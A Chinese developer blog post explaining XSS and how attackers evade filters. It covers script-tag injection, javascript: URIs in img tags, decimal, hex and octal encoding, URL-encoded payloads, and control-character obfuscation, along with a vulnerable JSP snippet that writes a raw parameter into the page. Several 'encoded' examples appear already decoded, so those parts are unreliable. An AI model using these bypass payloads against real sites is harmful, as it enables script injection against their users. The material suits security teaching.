- 浏览: 375388 次
- 性别:
- 来自: 深圳
文章分类
最新评论
-
u014689192:
很不错
JMX学习笔记(三)-MXBean -
focus2008:
进制转换之后,根本不会执行js代码,感觉你没有测试过吧
xss漏洞之进制转换 -
focus2008:
如何使用过滤器来处理呢?
xss漏洞之进制转换 -
1169158401:
我艹,我那天这么写,包括一些方法,然后那货说这样写不容易看懂。 ...
import static简化代码 -
AquariusM:
奢华的JVM介绍!
JMX学习笔记(三)-MXBean
SQL注入的事件已经是上个世纪最令人头疼的攻击方法,21世纪又出现了HTML注入漏洞,随着web飞速的发展,XSS漏洞已经不容忽视,简单介绍一下XSS漏洞, 只要有用户输入的地方,就会出现XSS漏洞,例如在发表一篇帖子的时候,在其中加入脚本。
1.HTML标签注入:
<script>alert('Hello World!')</script>
很简单,就是用alert输出一个Hello World文本,如果在帖子内容里,出现了这样的语句,浏览器会执行这个脚本:
很多网站为了避免XSS的攻击,对用户的输入都采取了过滤,最常见的就是对<>转换成<以及>,经过转换以后<>虽然可在正确显示在页面上,但是已经不能构成代码语句了。这个貌似很彻底,因为一旦<>被转换掉,什么<script src=1.js></script>就会转换成“<script src=1.js></script>”,不能执行,因此,很多人认为只要用户的输入没有构成<>,就不能闭合前后的标签,其语句当然也不会有害,但是,万事总有可能,只要有一定的条件,我们就可以构造经过编码后的语句来进行XSS,稍候我会提到16进制、8进制转换,以及混合转换。
2. HTML属性注入
于是程序员想办法封堵这个漏洞,过滤了<script></script> 标签,那么在页面上就不会执行这段js代码,
于是乎,黑客想了一个不用<script>标签的办法,注入html, 怎么回事呢?
是这样:
<img src='http://dl.iteye.com/upload/picture/pic/94494/0a949350-1644-3d50-9b13-b028f4891981.png'>
正常情况下,img的src标签是指向一个web服务器的图片URL,但是也可以替换为:
<img src='javascript:alert("Hello world!")'>
这样黑客通过绕道的形式,绕开了程序员的过滤,顺利执行了XSS攻击
程序员见况,同理有过滤了用户输入的src属性,过滤掉里边的javascript开头的关键字,暂时封堵了XSS。
3.ASCII 10进制转换继续XSS
javascript:alert("Hello world!")可以用HTML 10进制ASCII编码代替:
格式:&#(ASCII10进制编码);
javascript:alert("Hello world!")
img标签变为:
<img src='javascript:alert("Hello world!")' />
ASCII 10进制转换,同样适合于HTML标签注入:
例如:
把<script>alert("Hello world");</script>标签转换成10进制 ASCII转义字符:
<script>alert("Hello world");</script>";
接下来,使用URL编码得到:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%65%6C%6C%6F%20%77%6F%72%6C%64%22%29%3B%3C%2F%73%63%72%69%70%74%3E
然后放入到参数中:
http://www.test.com/a=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%65%6C%6C%6F%20%77%6F%72%6C%64%22%29%3B%3C%2F%73%63%72%69%70%74%3E
接着程序员用JSP得到参数
<% string str_a = rrequest.getParameter("a");%>
var a= <%=str_a%>
document.write(a);
同样会引发XSS漏洞
4. ASCII 16进制转换
格式: &#x(ASCII16进制编码);
<img src="javascript:alert('b')">
与10进制ASCII转义一样,只不过换了一种进制规则表示
5. ASCII 8进制转换
其实16进制还有一种表现形式,与8进制类似
格式:\x(ASCII 16进制编码)
格式:\(ASCII 8进制编码)
例如:
<script>alert("Hello world!");</script>
转换为16进制是:
\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x22\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x21\x22\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E
八进制是去掉\后的x,数值转换为8进制数值即可,我就懒的自己转了,有兴趣大家可以试试
同样以构造URL参数,或者HTML属性的形式注入到HTML当中,即可产生XSS漏洞
6. 8进制、10进制、16进制混合转换
道理一样,只不过一段代码中的进制数混合,自由构造,组合比较多
7. 加入混淆字符
这样做的目的还是为了绕开程序员代码的过滤, 其中加入一些混淆转义字符,在系统控制字符中,除了头部的�(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如、等字符都可插入到javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方, 当然还包括字母的大小写混合;
这里我摘抄了网上的一些例子:
例1:<img src="javascript:alert(/a/)"> '/插入到代码头部,其中可写成,效果一样
例2:<img src="java scr ipt:alert(/a/)"> '/插入到代码中任意位置,其中 可写成
例3:<IMG SRC="jav ascript:alert('XSS')"> '/ 是回车符的16进制形式
例4:<IMG SRC="jav ascript:alert('XSS')"> '/ 是换行符的16进制形式
这些是比较常用的例子,组合很多,变化多端, 有兴趣大家可以自己研究一下:)
发表评论
-
import static简化代码
2011-11-03 00:10 1630喜欢定义常量的哥们你伤不起啊,好处当然是大大滴,但是定义的名字 ... -
Java永远的伤-中国1927年12月31日午夜
2011-08-15 20:44 3837话说在中国1927年12月31日午 ... -
高性能的SimpleDateFormat
2011-07-18 23:35 3799以前写过一篇 , 《SimpleDateFormat性能调优》 ... -
tomcat关不掉的原因
2011-07-12 23:51 43407tomcat/bin 目录下的catalina.sh是比较常用 ... -
接口调用频率限制代码
2011-06-28 20:49 10552有很多时候我们写的代码不是你想跑多快就能跑多快的, 因为一些陈 ... -
java调用linux命令传递参数问题
2011-05-18 02:04 10646简单的不带通配符linux命令调用非常简单,使用Runtime ... -
Java位运算的优势
2011-04-09 01:58 2237在Java中对数据的运算,有很好的规范支持,尤其是针对二进制的 ... -
Facebook BigPipe技术
2011-01-04 00:37 2652关于web应用,从html的产生,到客户端浏览器的渲染, ... -
SimpleDateFormat性能调优
2010-11-25 00:12 4145万能的SimpleDateFormat可以把java.util ... -
JMX学习笔记(三)-MXBean
2010-11-10 11:25 4943在MBean中有只要遵循以下两个规则,我们就可以在jc ... -
JMX学习笔记(二)-Notification
2010-11-07 15:25 8936Notification 通知,也可理解为消息,有通知,必 ... -
JMX学习笔记(一)-MBean
2010-10-16 16:27 13598JMX 即 Java Management Ex ... -
cookie安全
2010-07-06 01:09 4112cookie的domian,path,expires, ... -
base64的js实现
2010-04-26 14:38 44526写了一个js类,可以方便base64加密解密: /** ... -
native2ascii转换后仍然乱码
2010-04-18 17:47 1769native2ascii转换的时候如果不带-encoding ... -
JPA换进下慎用entity
2010-01-26 11:36 2584今天跟一个同事调试代码,突然发现,诸如findUser ... -
des与3des的javascript实现
2010-01-08 09:50 6543下面这些源代码统统来自 tero.co.uk 网站。其 ... -
http session原理
2009-12-02 00:41 2812大家都知道session是web中在服务器端保存用户状 ... -
java中获得当前目录的各种方法
2009-09-04 11:21 14332Java本来就是跨平台的编程工具,所以当然要做跨平台的 ... -
String、StringBuffer与StringBuilder
2009-04-26 22:04 1876先不废话了,来段程序: package com.tuz; ...
相关推荐
XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描XSS漏洞扫描
之所以写这个,是因为发现SQL注入和XSS中经常利用十六进制表示的字符串,比如 SELECT CONCAT(0x68656c6c6f); 得到的是hello <!DOCTYPE html> <html> <head> <title>Hex-Char Bi-Converter&...
百度编辑器解决xss漏洞
近期公司的项目遭受了SQL+XSS攻击(市面上现在检测工具很多如:AWVS/360等),现贴出项目中的修复核心代码,需要的可以参考一下
论文《基于网络爬虫的SQL注入与XSS漏洞挖掘》
动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS )有所区分,故称XSS)的威胁,而静态站点则完全不受...
跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类...
java配置xssproject,文件包括配置步骤,需要的jar包,完整的xssproject类,并且提供的类解决了multipart/form-data类型的Request请求xss过滤问题
自动化检测XSS漏洞插件,希望对大家使用有帮助,一起进步,一起分享
前端顽疾--XSS漏洞分析与解决.ppt
我刚入行的时候做过一个小小的页面工具,其中有一个步骤是把一些代码输出到页面上,当时我用的是php做的,写了个for循环,读取每一行的内容,然后echo出来。但是我发现页面排版老是那么的乱,怎么缩进都没有了?...
tsrc线上培训 第五第六式web安全之xss漏洞、命令执行漏洞专题
007-Web安全基础3 - XSS漏洞
一种基于DOM随机性的XSS漏洞动态检测方法,高灵杰,辛阳,XSS漏洞是Web应用程序威胁最大的安全漏洞之一。传统的XSS漏洞扫描工具并没有对现代Web应用程序常用的异步数据传输以及动态内容进行针
xss平台搭建源码,用于练习xss漏洞,适用于网络安全学科的爱好者和学生,下载后解压缩到www目录下,需要将xss-sql导入数据库,并更改一下源码部分内容,很容易。最后要配置伪静态文件。
跨站脚本(Cross site script,简称xss)是一种“HTML注入”,由于攻击的脚本多数时候是跨域的,所以称之为“跨域脚本”。 我们常常听到“注入”...可以通过导入以下两个jar,通过配置实现xss漏洞修复,无需修改代码
从测试XSS漏洞,教你如何测试安全漏洞,打开文档有详细步骤